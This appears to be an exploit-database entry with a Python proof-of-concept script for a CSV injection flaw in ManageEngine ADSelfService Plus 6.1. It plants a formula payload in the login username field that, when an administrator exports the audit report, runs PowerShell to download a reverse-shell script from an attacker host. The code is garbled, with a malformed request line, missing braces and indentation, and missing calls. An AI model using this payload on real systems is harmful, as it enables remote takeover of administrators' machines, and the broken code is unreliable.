Authored by Metin Yunus Kandemir

ManageEngine ADSelfService Plus version 6.1 suffers from a CSV injection vulnerability.

# Exploit Title: ManageEngine ADSelfService Plus 6.1 - CSV Injection
# Date: 19/05/2021
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage:
# Software Link:
# Version: 6.1
# Description:

import requests
import sys
import urllib3

Proof of Concept:
1- Malicious user sends POST request to login page https://TARGET-IP/j_security_check and sets j_username parameter as like the below.
=cmd|'/C powershell.exe -c iex (New-Object Net.WebClient).DownloadString('http://ATTACKER-IP/Invoke-PowerShellTcp.ps1')'!A0
2- The request attempt will be saved to"User Attempts Audit Report" table that is under the Reports > Audit Reports section. Url: https://TARGET-IP/webclient/index.html#/reports/listReports/12
j_username parameter value is saved to "User Name" column which is start of line in the CSV file. If admin user exports this table as CSV file and confirms the alert popup, reverse shell connection
will be obtained by malicious user.

def loginReq(target,payload,getCsrf):
s = requests.Session()
data = {
"j_username": payload,
"j_password": "joker",
"domainName": "ADSelfService+Plus+Authentication",
"AUTHRULE_NAME": "ADAuthenticator",
"adscsrf": getCsrf

url = "https://"+target+"/j_security_check"
req =, data=data, allow_redirects=False, verify=False)
if req.status_code == 302:
print("[+] Sending request is successful.")
print("[+] Injected payload: %s" %payload)
print("[-] Something went wrong!")

def getCsrfToken(target, payload=None):
gUrl = "https://" + target + "/"
getCsrf = requests.get(url=gUrl, allow_redirects=False, verify=False)
print("[*] Csrf token: %s" %getCsrf.cookies['_zcsr_tmp'])

def main(args):
if len(args) != 3:
print("usage: %s targetIp:port payload" %(args[0]))
print("Example: python3 "=cmd|'/C powershell.exe -c iex (New-Object Net.WebClient).DownloadString('http://ATTACKER-IP/Invoke-PowerShellTcp.ps1')'!A0"")
getCsrfToken(target=args[1], payload=args[2])

if __name__ == "__main__":